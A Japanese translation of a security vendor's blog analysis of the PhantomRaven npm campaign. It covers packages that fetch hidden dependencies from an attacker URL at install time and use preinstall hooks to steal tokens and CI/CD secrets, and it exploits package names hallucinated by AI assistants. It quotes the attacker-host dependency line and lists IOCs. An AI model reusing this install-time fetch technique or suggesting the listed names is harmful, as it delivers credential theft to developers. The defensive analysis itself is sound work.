126個の悪意あるnpmパッケージ。86,000件を超えるダウンロード。世界中の開発者からnpmトークン、GitHub認証情報、CI/CDシークレットを積極的に盗んでいます。すべてが、ほとんどのセキュリティツールが依存する依存関係分析から隠された依存関係に悪意あるコードを隠しながら行われています。
このキャンペーンをPhantomRavenと呼んでいます。
発見
当社のリスク検出エンジンであるWingsは、2025年10月に奇妙なことを検出しました。インストール中に外部ネットワークリクエストを行うパッケージが、すべて同じ疑わしいドメインに接続していたのです。
調査を進めていくと、8月から実行されていたキャンペーンが発見されました。その規模は驚異的でした。126個のパッケージが合計86,000件以上のインストール数。そのうち80個はまだアクティブで、世界中の開発者から認証情報を静かに収集していました。規模は印象的でしたが、本当に注目を集めたのは彼らがどのようにそれを行っているかでした。これらのパッケージは、エコシステムのほとんどのセキュリティツールから悪意あるコードを隠す方法を見つけていたのです。
タイムライン:
- 2025年8月: キャンペーン開始、最初のパッケージが公開される
- 2025年8月: 初期の21パッケージが検出され、npmから削除される
- 2025年9月~10月: 80個の追加パッケージがアップロードされ、検出を回避
- 2025年10月: Koi Securityの動作監視によってキャンペーンが発見される
攻撃者のインフラストラクチャは、そのような高度な技術にしては意外にずさんでした。無料プロバイダーからの連続したメールアカウント – jpdtester01@hotmail[.]com、jpdtester02@outlook[.]com、jpdtester13@gmail[.]comまで。npmhellやnpmpackagejpdのようなユーザー名。すべてが同一人物によって制御されていることは明らかでした。
しかし、配信メカニズムは見事でした。

隠れた仕組み:リモート動的依存関係(RDD)
npmでこれらの悪意あるパッケージの1つを開きます。ソースコードを確認してください。次のようなものが見つかります:
#!/usr/bin/env nodeconsole.log('Hello, world!');
それだけです。完全に無害です。シンプルなhello worldスクリプト。
では、悪意あるコードはどこにあるのでしょうか?それはレビューしているパッケージには入っていません。インストール時にフェッチされる見えない依存関係にあるのです。
ほとんどのnpm依存関係は次のようになっています:
"dependencies": {
"express": "^4.18.0"}
しかし、npmはほとんどの開発者が使用しないものもサポートしています – HTTP URLを依存関係指定子として使用:
"dependencies": {
"ui-styles-pkg": "http://packages.storeartifact.com/npm/unused-imports"}
この種の依存関係を持つパッケージをインストールすると、npmはそのURL外部からそれをフェッチします。npmjs.comからではなく。攻撃者が望む場所から。
そしてnpmjs.comはこれらのURLをフォローしません。セキュリティスキャナーはそれらをフェッチしません。依存関係分析ツールはそれらを無視します。すべての自動化されたセキュリティシステムにとって、これらのパッケージは「0個の依存関係」を表示します。

npm上でレビューしているパッケージ?クリーンです。空です。安全です。
悪意あるコード?packages.storeartifact.comに座っており、インストール時にフェッチされるのを待っています。
さらに悪いこと:彼らはあなたが何をダウンロードするかを制御しています
npm installを実行するたびに、その依存関係は攻撃者のサーバーから新たにフェッチされます。キャッシュされません。バージョン管理されません。ロックされません。新規です。
攻撃者はそのサーバーを制御しています。彼らはインストールしている人に基づいてどのコードを取得するか決定できます。
これは洗練されたターゲティングへの扉を開きます。理論上、彼らはすべてのリクエストのIPアドレスをチェックして異なるペイロードを提供できます。VPN上のセキュリティ研究者には無害なコード、企業ネットワークには悪意あるコード、クラウド環境には専門的なペイロード。または長期戦略を立てて、信頼を構築してセキュリティスキャンをパスするまで数週間クリーンなコードを返し、その後スイッチを入れて悪意あるバージョンを提供開始。
自動実行の問題
しかし、依存関係に悪意あるコードを持つだけでは十分ではありません。実行する必要があります。そしてnpmはそれを自動的に行います。
npm installを実行すると、npmはパッケージをダウンロードするだけではありません。それはコードを実行します。具体的には、package.jsonで定義されたライフサイクルスクリプト – preinstall、install、postinstallフックを実行します。
RDDを介してフェッチされた悪意あるパッケージに含まれているもの:
"scripts": {
"preinstall": "node index.js"}
そのpreinstallスクリプトは自動的に実行されます。プロンプトなし。警告なし。ユーザー操作は必要ありません。
そして、この悪意あるpreinstallスクリプトを持つパッケージがあなたの依存関係ツリーのどこに深くあるかは関係ありません。パッケージをインストールして、それは悪意あるpreinstallスクリプトを持つパッケージに依存するパッケージに依存しますか?そのコードはあなたのマシン上で実行されます。自動的に。
完全な攻撃チェーン:
- 開発者がnpmからクリーンなパッケージのように見えるパッケージをインストール
- npmが攻撃者のサーバーから見えないRDDをフェッチ
- 悪意あるパッケージがpreinstallスクリプトと共に到着
- npmがインストールが完了する前にnode index.jsを自動実行
- マルウェアが起動
すべてこれがnpm installが完了するのに数秒で起こります。
PhantomRavenが実際に行うこと
RDD技術でインストールされたら、PhantomRavenは仕事に取りかかります。そしてそれはあなたの認証情報が欲しいことについて微妙ではありません、あなたの環境、すべてです。
どこでもあなたのメールアドレスを探す
まず、あなたが誰であるかを知る必要があります。マルウェアはあなたの開発環境全体からメールアドレスを体系的に検索します:

環境変数をチェックしています。あなたの.gitconfig。あなたの.npmrc。あなたのpackage.jsonの著者フィールドさえ。メールアドレスが隠れている可能性があるすべての場所。
厄介ですか?確かに。しかし、単なるメール収集はそれ自体では怖くありません。
次 – あなたの完全なCI/CD環境
彼らはあなたのインフラについてすべてを知りたいです:

GitHub Actionsトークン – あなたのリポジトリとワークフローへの直接アクセス。GitLab CI認証情報 – プロジェクトアクセスとパイプライン制御。Jenkins認証情報 – ビルドサーバーアクセスとデプロイメント機能。CircleCI トークン – プロジェクトビルドとデプロイメントキー。npm認証トークン – 維持するあらゆるパッケージに悪意あるアップデートを公開する機能。
その後 – 完全なシステムフィンガープリント
マルウェアはここで止まりません。あなたの開発環境の完全なプロファイルを構築します:

あなたのパブリックIP(外部サービスからフェッチ)、あなたのホスト名、OSの詳細、ローカルIP、ユーザー名、現在のディレクトリ、Node.jsバージョン – 彼らが妥協したシステムの種類とそれがどの程度価値があるかを理解するのに役立つすべてのもの。
企業ネットワーク?高価値のターゲット。クラウドCI/CDパイプライン?大当たり。開発者ラップトップ?他のすべてへのエントリーポイント。
そして最後に – データが確実に出て行くようにする
流出は偏執的なほど冗長です:

まず、URLでエンコードされたすべてのデータを含むHTTP GETリクエスト。その後、JSONとして同じデータを含むHTTP POSTリクエスト。両者が失敗した場合?バックアップサーバーへのWebSocket接続。
積極的なファイアウォールを持つ制限されたネットワーク環境でも、彼らはデータを取得しています。
スロップスクワッティング:AI支援パッケージ名攻撃
PhantomRavenのパッケージ名はランダムなタイポスクワットではありません。LLM幻覚を悪用するように慎重に選択されています。
開発者がGitHub CopilotやChatGPTなどのAIアシスタントにパッケージ推奨を求めるとき、モデルは実際には存在しないもっともらしい音のするパッケージ名を示唆することもあります。PhantomRavenはそれらの存在しないパッケージを作成しました。
この攻撃ベクトル – AI幻覚を悪用して悪意あるパッケージを登録する – スロップスクワッティングと呼ばれるものです。
例:
- eslint-comments → 正当なパッケージ:eslint-plugin-eslint-comments
- transform-react-remove-prop-types → 正当なパッケージ:babel-plugin-transform-react-remove-prop-types
- unused-imports → 正当なパッケージ:eslint-plugin-unused-imports
これらの名前は:
- 正当なパッケージに十分に近く、AIが提案する可能性がある
- 既存のパッケージを直接タイポスクワットしていないため十分に異なる
- 開発者が即座に疑わないほど見込みがある
AIアシスタントは「unused-imports」を「eslint-plugin-unused-imports」よりもシンプルな選択肢として提案する可能性があります。開発者はAIの推奨を信頼して、2回目の考えなくそれをインストールします。
これは理論的ではありません。PhantomRavenマルウェアを依存関係として含むパッケージはすでに野生で見つけられています – これらのパッケージをAI推奨に基づいてインストールした犠牲者は、彼らがシステムを妥協していることを完全に知りませんでした。
最後に
この研究はKoi Securityのチームによって実施されました。好奇心と開放ソースエコシステムのセキュリティへの懸念が同等に駆動しています。
PhantomRavenは、攻撃者がいかに伝統的なセキュリティツーリングの盲点を悪用するのに洗練されているかを示しています。リモート動的依存関係は静的分析に見えません。AI幻覚は開発者が信頼するもっともらしい音のするパッケージ名を作成します。そしてライフサイクルスクリプトは自動的に実行され、ユーザーの操作は不要です。
これらは理論的な脆弱性ではありません – 現在、数千の開発者に影響を与えている積極的な搾取技術です。
私たちはこの問題に対処するためにKoiを構築しました。当社のリスク検出エンジンは、パッケージが何であるかを要求するだけではありません – それはそれらを実行して、彼らが実際に何をするかを見ています。インストール中のネットワークリクエスト。ファイルシステムアクセスパターン。静的分析が見つけることができない異常な動作。
Fortune 50企業と世界最大のテック企業の一部から信頼されているKoiは、npm、PyPI、VS Code拡張機能、Chrome拡張機能など、パッケージエコシステム全体にわたるリアルタイムリスクスコアリングとガバナンスを提供します。
デモを予約して、従来のセキュリティツールをすり抜ける攻撃をどのようにキャッチするかをご覧ください。
セキュリティスキャンに表示されない依存関係にマルウェアが隠れることができるとき、パッケージが何を言っているかではなく、実際に何をするかを見守るツールが必要です。
安全に過ごしてください。
IOC
悪意あるインフラストラクチャ:
- packages.storeartifact.com
- 54.173.15.59
- 流出エンドポイント:jpd.php
妥協したパッケージ:
fq-ui, mocha-no-only, ft-flow, ul-inline, jest-hoist, jfrog-npm-actions-example, @acme-types/acme-package, react-web-api, mourner, unused-imports, jira-ticket-todo-comment, polyfill-corejs3, polyfill-regenerator, @aio-commerce-sdk/config-tsdown, @aio-commerce-sdk/config-typedoc, @aio-commerce-sdk/config-typescript, @aio-commerce-sdk/config-vitest, powerbi-visuals-sunburst, @gitlab-lsp/pkg-1, @gitlab-lsp/pkg-2, @gitlab-lsp/workflow-api, @gitlab-test/bun-v1, @gitlab-test/npm-v10, @gitlab-test/pnpm-v9, @gitlab-test/yarn-v4, acme-package, add-module-exports, add-shopify-header, jsx-a11y, prefer-object-spread, preferred-import, durablefunctionsmonitor, durablefunctionsmonitor-vscodeext, durablefunctionsmonitor.react, e-voting-libraries-ui-kit, named-asset-import, chai-friendly, aikido-module, airbnb-babel, airbnb-base-hf, airbnb-base-typescript-prettier, airbnb-bev, airbnb-calendar, airbnb-opentracing-javascript, airbnb-scraper, airbnb-types, ais-sn-components, goji-js-org, google-cloud-functions-framework, chromestatus-openapi, elemefe, labelbox-custom-ui, rxjs-angular, @apache-felix/felix-antora-ui, @apache-netbeans/netbeans-antora-ui, syntax-dynamic-import, no-floating-promise, no-only-tests, @i22-td-smarthome/component-library, vuejs-accessibility, lfs-ui, react-async-component-lifecycle-hooks, eslint-comments, wdr-beam, lion-based-ui, lion-based-ui-labs, eslint-disable-next-line, eslint-github-bot, eslint-plugin-cli-microsoft365, eslint-plugin-custom-eslint-rules, @item-shop-data/client, @msdyn365-commerce-marketplace/address-extensions, @msdyn365-commerce-marketplace/tax-registration-numbers, artifactregistry-login, crowdstrike, wm-tests-helper, external-helpers, react-important-stuff, audio-game, faltest, only-warn, op-cli-installer, react-naming-convention, skyscanner-with-prettier, xo-form-components, xo-login-components, xo-page-components, xo-shipping-change, xo-shipping-options, xo-title, xo-tracking, xo-validation, badgekit-api-client, important-stuff, transform-es2015-modules-commonjs, transform-merge-sibling-variables, transform-react-constant-elements, transform-react-jsx-source, transform-react-remove-prop-types, transform-strict-mode, trezor-rollout, filename-rules, ing-web-es, inline-react-svg, ts-important-stuff, firefly-sdk-js, firefly-shared-js, zeus-me-ops-tool, zeus-mex-user-profile, ts-migrate-example, ts-react-important-stuff, zohocrm-nodejs-sdk-3.0, iot-cardboard-js, pensions-portals-fe, sort-class-members, sort-keys-fix, sort-keys-plus, flowtype-errors, twilio-react, twilio-ts, bernie-core, bernie-plugin-l10n, spaintest1, typescript-compat, typescript-sort-keys, uach-retrofill
攻撃者インフラストラクチャ:
無料メールプロバイダー全体での連続メールパターン:
- npmjjjj ([email protected])
- npmjpd2 ([email protected])
- npmtestdharsh ([email protected])
- npmtesthas1 ([email protected])
- packagejpd ([email protected])
- npmhell ([email protected])
- npmpackagejpd ([email protected])
- onlynpmpackagejpd ([email protected])
- micropackage1 ([email protected])
- npmpackagejpd12 ([email protected])
- jpdhackerone11 ([email protected])
- jpd12 ([email protected])
- packagedharsh ([email protected])
- jpd13 ([email protected])
翻訳元: https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies